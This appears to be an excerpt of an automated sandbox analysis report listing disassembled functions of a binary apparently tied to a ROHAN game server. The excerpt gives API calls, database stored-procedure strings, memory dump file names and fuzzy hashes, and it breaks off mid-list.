                                                                                                                            • Opcode ID: bbdd517f890eced33a0efccadea18863147dcda50750dcd2d8e0b5446823357c
                                                                                                                            • Instruction ID: eac2db7190e7f33f2dd440df162968007950b0116fc81a38ce068e3007ef0b2b
                                                                                                                            • Opcode Fuzzy Hash: bbdd517f890eced33a0efccadea18863147dcda50750dcd2d8e0b5446823357c
                                                                                                                            • Instruction Fuzzy Hash: E9318BF2A04248ABC758DBA1CC65FEB7778EF49301F14819EF90947143D638DA45CB99
                                                                                                                            Function 00455746 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Current$ProcessThread
                                                                                                                            • String ID: %s %d %s$Params: %08x %08x %08x %08x
                                                                                                                            • API String ID: 2063062207-3042731909
                                                                                                                            • Opcode ID: 652aaa6fc41606d1da2a529cdd54327b4ae2a6e739ab8d32fcd779053eafa27d
                                                                                                                            • Instruction ID: 57ce23d2b8dbc6d6df2b92bfecb4c7dd850990676f32e06a10e16a1c50b4e667
                                                                                                                            • Opcode Fuzzy Hash: 652aaa6fc41606d1da2a529cdd54327b4ae2a6e739ab8d32fcd779053eafa27d
                                                                                                                            • Instruction Fuzzy Hash: 50318AF2E00104ABD758DB52DC56FEB7378EF48300F0481AEF90D87242D6789A44CB99
                                                                                                                            Function 00460900 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            • HeapValidate = %d, xrefs: 004609D5
                                                                                                                            • Memory::_realloc(%d) failed : size=%d, key=%#x, total=%d, phys=%d, virtual=%d, xrefs: 004609BA
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: HeapValidate = %d$Memory::_realloc(%d) failed : size=%d, key=%#x, total=%d, phys=%d, virtual=%d
                                                                                                                            • API String ID: 0-4119759555
                                                                                                                            • Opcode ID: d0ae28522203fd53e096f58d272cdcf31b3666408cf6e8124f4d1f5a84af9326
                                                                                                                            • Instruction ID: d9a92f7e93865c290e1bd929d9995e4029098351186b9599c6067e65092ec4ce
                                                                                                                            • Opcode Fuzzy Hash: d0ae28522203fd53e096f58d272cdcf31b3666408cf6e8124f4d1f5a84af9326
                                                                                                                            • Instruction Fuzzy Hash: 6B21B9B2A002086FD704DFADEC46EAF77ADEB85315F0445AAFC08D7212E635D91487E5
                                                                                                                            Function 00455784 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84threadCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetCurrentThread.KERNEL32 ref: 0045E808
                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,?,?), ref: 0045E80F
                                                                                                                            • VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,?,?,?,?), ref: 0045E9A7
                                                                                                                            • GetModuleFileNameA.KERNEL32(?,00000000,00000104,?,?,?,?,?,?,?,?,?), ref: 0045E9C4
                                                                                                                              • Part of subcall function 0045E040: wvsprintfA.USER32(?,?,?), ref: 0045E068
                                                                                                                              • Part of subcall function 0045E040: lstrlenA.KERNEL32(?,?,00000000), ref: 0045E082
                                                                                                                              • Part of subcall function 0045E040: WriteFile.KERNEL32(?,?,00000000), ref: 0045E094
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CurrentFile$ModuleNameProcessQueryThreadVirtualWritelstrlenwvsprintf
                                                                                                                            • String ID: %s %d %s$Params: %08x %08x %08x %08x
                                                                                                                            • API String ID: 2808815434-3042731909
                                                                                                                            • Opcode ID: 23fdafb28ab553bcb9b87ac6efc92efa35317b701b7ef0f0a43146ba1021dc10
                                                                                                                            • Instruction ID: c66b4b21b93624b811ee58cf79be448917996db62fb0e81311e95a94dc7b39f4
                                                                                                                            • Opcode Fuzzy Hash: 23fdafb28ab553bcb9b87ac6efc92efa35317b701b7ef0f0a43146ba1021dc10
                                                                                                                            • Instruction Fuzzy Hash: FF217DF2A00204ABC758DB92CC55FAB7378AF89301F04819EF90D87143D638DA44CB99
                                                                                                                            Function 004946CB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: H_prolog
                                                                                                                            • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                                                                                                            • API String ID: 3519838083-1866435925
                                                                                                                            • Opcode ID: 762d9a343b0dd11b9a593bb681057aef70da9acf215fd8cdb166aedf510db087
                                                                                                                            • Instruction ID: e07e479e226e2d1951e4d0cad4ccf438c499b741faf02d565db09d8158ffc0e6
                                                                                                                            • Opcode Fuzzy Hash: 762d9a343b0dd11b9a593bb681057aef70da9acf215fd8cdb166aedf510db087
                                                                                                                            • Instruction Fuzzy Hash: 981189B194060CAACF14DFE0C9A2FDDBB74AB51308F6440AFA10567352D7BD5E09DB58
                                                                                                                            Function 0043B621 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetIndunRankerMemberList] (?)},000000FD), ref: 0043B641
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043B680
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043B6B8
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetIndunRankerMemberList] (?)}, xrefs: 0043B638
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetIndunRankerMemberList] (?)}
                                                                                                                            • API String ID: 0-2000685906
                                                                                                                            • Opcode ID: 8b2808c5a6ed0f66eeffb33d983ec12da3e9befb2ebb2fd66a963400cb94a129
                                                                                                                            • Instruction ID: e46ba3d549125bdf920519fe95dbbe6a6cde52f0a0ef97de8166738d079f7d24
                                                                                                                            • Opcode Fuzzy Hash: 8b2808c5a6ed0f66eeffb33d983ec12da3e9befb2ebb2fd66a963400cb94a129
                                                                                                                            • Instruction Fuzzy Hash: 991151B1A8425AABDB208F04CD51FB97334EB84714F2585D8F6243B7C5CAB169808B48
                                                                                                                            Function 00431164 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_DestroySiegeBuilding] (?)},000000FD), ref: 0043118D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004311CC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00431204
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_DestroySiegeBuilding] (?)}, xrefs: 00431184
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_DestroySiegeBuilding] (?)}
                                                                                                                            • API String ID: 0-499424334
                                                                                                                            • Opcode ID: a37937604e8cb41581bcc88b7aed2796470cce4e11fa9c3936f787c5b23767b0
                                                                                                                            • Instruction ID: 5370f952ebb7c4a4bfd750166644337bf0df096b6359934bebe40965f91896a1
                                                                                                                            • Opcode Fuzzy Hash: a37937604e8cb41581bcc88b7aed2796470cce4e11fa9c3936f787c5b23767b0
                                                                                                                            • Instruction Fuzzy Hash: CF1112B0E8421AABEB64CF44CC42FAA7374EB44714F118199F62C6A2C4D67979808F59
                                                                                                                            Function 004324A1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetFriend] (?)},000000FD), ref: 004324CA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00432509
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00432541
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetFriend] (?)}, xrefs: 004324C1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
